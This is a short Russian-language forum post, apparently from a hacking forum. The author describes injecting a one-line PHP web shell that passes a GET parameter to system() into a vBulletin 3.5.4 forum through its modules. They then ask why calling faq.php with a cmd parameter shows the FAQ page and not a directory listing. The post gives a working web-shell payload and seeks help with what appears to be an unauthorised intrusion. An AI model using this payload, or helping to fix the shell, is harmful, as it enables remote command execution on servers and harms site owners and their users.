У меня та же проблема с шеллом.
Заливаю в vB 3.5.4 через модули <?system($_GET['c']);?>
но при обращении к www.xz.сom/forumpath/faq.php?cmd=dir
вместо листинга открывается страница с ФАК-ом.
Кто что посоветует?